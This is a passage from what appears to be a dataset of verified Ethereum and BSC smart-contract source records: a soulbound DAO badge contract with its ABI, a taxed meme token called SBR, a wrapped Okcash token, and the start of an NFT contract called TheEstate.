amount; } return amounts; } function balanceOfAllTypes( address[] calldata members ) external view returns (MemberTypeAmounts[] memory) { MemberTypeAmounts[] memory result = new MemberTypeAmounts[]( members.length ); uint256 typesCount = _types.length; for (uint256 i = 0; i < members.length; i++) { MemberTypeAmounts memory container = result[i]; container.types = new string[](typesCount); container.amounts = new uint256[](typesCount); for (uint256 j = 0; j < typesCount; j++) { string memory badgeType = _types[j]; container.types[j] = badgeType; container.amounts[j] = balanceOf( members[i], _typeTokens[badgeType] ); } } return result; } function mintAndAirdrop( string calldata badgeType, address[] calldata members, uint256[] calldata amounts ) external onlyOwner { uint256 tokenId = _typeTokens[badgeType]; require(tokenId != 0, "the type is not exist"); require( members.length == amounts.length, "members and amounts length not equal" ); for (uint256 i = 0; i < members.length; i++) { _mint(members[i], tokenId, amounts[i], ""); } } function burn( address member, string calldata badgeType, uint256 amount ) external onlyOwner { uint256 tokenId = _typeTokens[badgeType]; require(tokenId != 0, "the type is not exist"); super._burn(member, tokenId, amount); } function setApprovalForAll(address, bool) public virtual override(ERC1155) { revert("Cannot setApprovalForAll."); } function isApprovedForAll( address, address ) public view virtual override(ERC1155) returns (bool) { return false; } function safeTransferFrom( address, address, uint256, uint256, bytes memory ) public virtual override(ERC1155) { revert("Cannot safeTransferFrom."); } function safeBatchTransferFrom( address, address, uint256[] memory, uint256[] memory, bytes memory ) public virtual override(ERC1155) { revert("Cannot safeBatchTransferFrom."); } function uri( uint256 tokenId ) public view virtual override returns (string memory) { return string(abi.encodePacked(baseURI, _tokenIdTypes[tokenId])); } }

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DAOBadge.MemberTypeAmounts[]","name":"","type":"tuple[]"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"uint256[]","name":"ids","type":"uint256[]"}],"name":"balanceOfBatch","outputs":[{"internalType":"uint256[]","name":"","type":"uint256[]"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"string","name":"badgeType","type":"string"},{"internalType":"address[]","name":"members","type":"address[]"}],"name":"balanceOfType","outputs":[{"internalType":"uint256[]","name":"","type":"uint256[]"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"baseURI","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"member","type":"address"},{"internalType":"string","name":"badgeType","type":"string"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"id","type":"uint256"}],"name":"exists","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getAllTypes","outputs":[{"internalType":"string[]","name":"","type":"string[]"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"string","name":"badgeType","type":"string"}],"name":"getTokenId","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"isApprovedForAll","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"string","name":"badgeType","type":"string"},{"internalType":"address[]","name":"members","type":"address[]"},{"internalType":"uint256[]","name":"amounts","type":"uint256[]"}],"name":"mintAndAirdrop","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"},{"internalType":"uint256[]","name":"","type":"uint256[]"},{"internalType":"uint256[]","name":"","type":"uint256[]"},{"internalType":"bytes","name":"","type":"bytes"}],"name":"safeBatchTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"},{"internalType":"uint256","name":"","type":"uint256"},{"internalType":"uint256","name":"","type":"uint256"},{"internalType":"bytes","name":"","type":"bytes"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"bool","name":"","type":"bool"}],"name":"setApprovalForAll","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes4","name":"interfaceId","type":"bytes4"}],"name":"supportsInterface","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"id","type":"uint256"}],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"_newBaseURI","type":"string"}],"name":"updateBaseURI","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"uri","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"}]

v0.8.17+commit.8df45f5f

0000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000002468747470733a2f2f6170692e3864616f2e696f2f6d656d6265722f6d657461446174612f00000000000000000000000000000000000000000000000000000000

Default

SBR

contracts/sbr.sol

0xd24e9a274818a2bb28217119dcb07dffe9426886

Solidity

/* https://sambankman.run https:/twitter.com/SamBankmanRun https://t.me/SamBankmanRun ____ ____ ____ / ___|| __ )| _ \ \___ \| _ \| |_) | ___) | |_) | _ < |____/|____/|_| \_\ ▒▒▓▓▓▓▓▓▓▓▓▓▓▓▓▓▒▒ ██████████████████ ██████████████████████ ██████████████████████████ ██████████████████████████████ ██████████████████████████████████ ██████████████████████████████████ ██████████████████████████████████ ████████▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒████████ ██████▒▒░░░░░░░░░░░░░░░░░░▒▒██████ ░░██ ████░░░░░░░░░░░░░░░░░░░░░░░░▒▒████ ▓▓██░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░██ ░░ ░░████░░██████████████████████████████░░ ░░░░ ░░██░░░░▒▒████░░██░░████████░░██░░████░░ ░░░░░░ ▒▒░░░░██████▓▓██░░░░██░░██▓▓██▒▒▒▒ ▒▒▒▒▒▒ ▒▒░░░░██████▒▒▒▒▒▒▒▒██████░░▒▒ ░░░░░░ ▒▒░░░░░░░░░░░░░░░░░░░░░░▒▒ ░░▓▓░░░░ ▒▒░░░░░░░░▒▒▒▒░░░░░░▒▒ ░░░░░░▓▓ ▒▒░░░░░░░░░░░░░░▒▒ ░░▒▒░░ ▒▒░░░░░░░░░░▒▒ ░░░░░░▓▓ ░░ ░░░░░░▒▒▒▒▒▒▒▒▒▒░░░░░░░░▓▓░░░░░░ ▓▓▓▓░░░░▒▒░░░░░░░░░░░░░░░░░░▓▓ ░░ ░░░░▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓░░░░░░ ░░░░░░░░░░░░░░░░░░░░░░░░░░ ▓▓▓▓░░▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ░░░░ ░░░░░░░░░░░░░░░░░░ ░░░░░░ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓ ░░░░░░░░░░░░░░░░░░ ░░░░ ▒▒▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ░░░░░░ ░░░░░░░░░░░░░░░░░░ ░░░░░░░░ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓ ▓▓▓▓▓▓ ▓▓▓▓ ▓▓▓▓ ▒▒▒▒▒▒ ▓▓▓▓ ▓▓▓▓ ▒▒▒▒▒▒▒▒▓▓ ▓▓▓▓ ▒▒▒▒ ▒▒ ▒▒▒▒▒▒▒▒▒▒▓▓▓▓ ▓▓██▓▓ ▓▓▓▓▓▓ ▒▒ ▒▒▒▒▒▒▒▒▓▓▓▓▓▓ ████████ ██████░░ ▒▒ ▓▓▓▓▓▓▓▓▓▓ ████████ ████████ ▒▒▒▒▒▒ ▓▓▓▓▓▓ */ // SPDX-License-Identifier: MIT pragma solidity 0.8.20; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract SBR is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; address payable private _taxWallet; uint256 firstBlock; uint256 private _initialBuyTax=20; uint256 private _initialSellTax=25; uint256 private _finalBuyTax=1; uint256 private _finalSellTax=1; uint256 private _reduceBuyTaxAt=25; uint256 private _reduceSellTaxAt=35; uint256 private _preventSwapBefore=25; uint256 private _buyCount=0; uint8 private constant _decimals = 9; uint256 private constant _tTotal = 8_000_000_000 * 10**_decimals; string private constant _name = "SBR"; string private constant _symbol = "Sam Bankman Runner Game"; uint256 public _maxTxAmount = 160_000_000 * 10**_decimals; uint256 public _maxWalletSize = 160_000_000 * 10**_decimals; uint256 public _taxSwapThreshold= 0 * 10**_decimals; uint256 public _maxTaxSwap= 80_000_000 * 10**_decimals; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _taxWallet = payable(_msgSender()); _balances[_msgSender()] = _tTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_taxWallet] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); uint256 taxAmount=0; if (from != owner() && to != owner()) { if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) { require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount."); require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize."); if (firstBlock + 3 > block.number) { require(!isContract(to)); } _buyCount++; } taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100); if(to == uniswapV2Pair && from!= address(this) ){ require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount."); taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance>_taxSwapThreshold && _buyCount>_preventSwapBefore) { swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap))); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } if(taxAmount>0){ _balances[address(this)]=_balances[address(this)].add(taxAmount); emit Transfer(from, address(this),taxAmount); } _balances[from]=_balances[from].sub(amount); _balances[to]=_balances[to].add(amount.sub(taxAmount)); emit Transfer(from, to, amount.sub(taxAmount)); } function min(uint256 a, uint256 b) private pure returns (uint256){ return (a>b)?b:a; } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { if(tokenAmount==0){return;} if(!tradingOpen){return;} address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function removeLimits() external onlyOwner{ _maxTxAmount = _tTotal; _maxWalletSize=_tTotal; emit MaxTxAmountUpdated(_tTotal); } function sendETHToFee(uint256 amount) private { _taxWallet.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); swapEnabled = true; tradingOpen = true; firstBlock = block.number; } receive() external payable {} function isContract(address account) private view returns (bool) { uint256 size; assembly { size := extcodesize(account) } return size > 0; } function manualSwap() external { require(_msgSender()==_taxWallet); uint256 tokenBalance=balanceOf(address(this)); if(tokenBalance>0){ swapTokensForEth(tokenBalance); } uint256 ethBalance=address(this).balance; if(ethBalance>0){ sendETHToFee(ethBalance); } } }

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v0.8.20+commit.a1b79de6

Default

OkcashToken

okash.sol

0xd3ac016b1b8c80eeadde4d186a9138c9324e4189

Solidity

/** *Submitted for verification at BscScan.com on 2022-09-29 */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the BEP standard. */ interface IERC20 { /** * @dev Returns the token name. */ function name() external view returns (string memory); /** * @dev Returns the token symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the token decimals. */ function decimals() external view returns (uint8); /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Returns the token owner. */ function getOwner() external view returns (address); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address _owner, address spender) external view returns (uint256); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval( address indexed owner, address indexed spender, uint256 value ); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require( newOwner != address(0), "Ownable: new owner is the zero address" ); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract ERC20 is Ownable, IERC20 { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view override returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-getOwner}. */ function getOwner() public view override returns (address) { return owner(); } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require( currentAllowance >= amount, "ERC20: transfer amount exceeds allowance" ); _approve(sender, _msgSender(), currentAllowance - amount); return true; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender] + addedValue ); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require( currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero" ); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require( senderBalance >= amount, "ERC20: transfer amount exceeds balance" ); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } abstract contract ERC20Burnable is ERC20 { /** * @dev Destroys `amount` tokens from the caller. * * See {ERC20-_burn}. */ function burn(uint256 amount) public virtual { _burn(_msgSender(), amount); } /** * @dev Destroys `amount` tokens from `account`, deducting from the caller's * allowance. * * See {ERC20-_burn} and {ERC20-allowance}. * * Requirements: * * - the caller must have allowance for ``accounts``'s tokens of at least * `amount`. */ function burnFrom(address account, uint256 amount) public virtual { uint256 currentAllowance = allowance(account, _msgSender()); require( currentAllowance >= amount, "ERC20: burn amount exceeds allowance" ); _approve(account, _msgSender(), currentAllowance - amount); _burn(account, amount); } } abstract contract ERC20Mintable is ERC20 { // indicates if minting is finished bool private _mintingFinished = false; /** * @dev Emitted during finish minting */ event MintFinished(); /** * @dev Tokens can be minted only before minting finished. */ modifier canMint() { require(!_mintingFinished, "ERC20Mintable: minting is finished"); _; } /** * @return if minting is finished or not. */ function mintingFinished() public view returns (bool) { return _mintingFinished; } /** * @dev Function to mint tokens. * * WARNING: it allows everyone to mint new tokens. Access controls MUST be defined in derived contracts. * * @param account The address that will receive the minted tokens * @param amount The amount of tokens to mint */ function mint(address account, uint256 amount) public canMint { _mint(account, amount); } /** * @dev Function to stop minting new tokens. * * WARNING: it allows everyone to finish minting. Access controls MUST be defined in derived contracts. */ function finishMinting() public canMint { _finishMinting(); } /** * @dev Function to stop minting new tokens. */ function _finishMinting() internal virtual { _mintingFinished = true; emit MintFinished(); } } /** * Wrapped Okcash BSC * Implementation of the Wrapped Okcash BSC */ contract OkcashToken is ERC20Mintable, ERC20Burnable { constructor() ERC20("Okcash", "OK") { _setupDecimals(18); //_mint(_msgSender(), 0); transferOwnership(0x362f16bcCA3c909DeA88898f406C7D9ffb48361E); } function _mint(address account, uint256 amount) internal override onlyOwner { super._mint(account, amount); } function _finishMinting() internal override onlyOwner { super._finishMinting(); } }

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v0.8.15+commit.e14f2714

Default

MIT

TheEstate

contracts/TheEstate.sol

0x89a361a2ff4db6c065a7745a2543e5a54f335aff

Solidity

// SPDX-License-Identifier: MIT /// @title The Estate by 0xdgb /// @author transientlabs.xyz /*◹◺◹◺◹◺◹◺◹◺◹◺◹◺◹◺◹◺◹◺◹◺◹◺◹◺◹◺◹◺◹◺◹◺◹◺◹◺◹◺◹◺◹◺◹◺◹◺◹◺◹◺◹◺◹◺◹◺◹◺◹◺◹◺◹◺◹◺◹◺◹◺◹◺◹◺◹◺◹◺◹◺◹◺◹◺◹◺◹◺ ◹◺ ◹◺ ◹◺ %% ◹◺ ◹◺ ### %# ◹◺ ◹◺ /###### %% ◹◺ ◹◺ /////###### %% ◹◺ ◹◺ ////////###### %% ◹◺ ◹◺ ////////////###### *% ◹◺ ◹◺ ////////////////###### %% ◹◺ ◹◺ ///////////////////###### %% ◹◺ ◹◺ ///////////////////////###### % ◹◺ ◹◺ ///////////////////////////###### %% ◹◺ ◹◺ //////////////////////////////(##### %# ◹◺ ◹◺ //////////////////////////////////###### %# ◹◺ ◹◺ //////////////////////////////////////###### %% ◹◺ ◹◺ //////////////////////////////////////////#####/ %% ◹◺ ◹◺ /////////////////////////////////////////////###### %% ◹◺ ◹◺ /////////////////////////////////////////////////###### #% ◹◺ ◹◺ /////////////////////////////////////////////////////## & ◹◺ ◹◺ //////////////////////////////////////////////////. ///&& ◹◺ ◹◺ /////////////////////////////////////////////////#&//// ◹◺ ◹◺ ///////////// ((((((,((((((#/////////////////////////// ◹◺ ◹◺ ///////////// ###(((,(((####/////////////////////////// ◹◺ ◹◺ ///////////// ###,,,,,((####/////////////////////////// ◹◺ ◹◺ ///////////// ###,,,,,((####/////////////////////////// ◹◺ ◹◺ ///////////// ###,,,,,((####/////////////////////////// ◹◺ ◹◺ ///////////// ###,,,,,((####/////////////////////////// ◹◺ ◹◺ ///////////// #/////////////////////////// ◹◺ ◹◺ /////////////////////////////////////////////////////// ◹◺ ◹◺ ◹◺ ◹◺◹◺◹◺◹◺◹◺◹◺◹◺◹◺◹◺◹◺◹◺◹◺◹◺◹◺◹◺◹◺◹◺◹◺◹◺◹◺◹◺◹◺◹◺◹◺◹◺◹◺◹◺◹◺◹◺◹◺◹◺◹◺◹◺◹◺◹◺◹◺◹◺◹◺◹◺◹◺◹◺◹◺◹◺◹◺◹◺*/ pragma solidity 0.8.19; import {TLCreator} from "tl-creator-contracts/TLCreator.sol"; contract TheEstate is TLCreator { constructor( address defaultRoyaltyRecipient, uint256 defaultRoyaltyPercentage, address[] 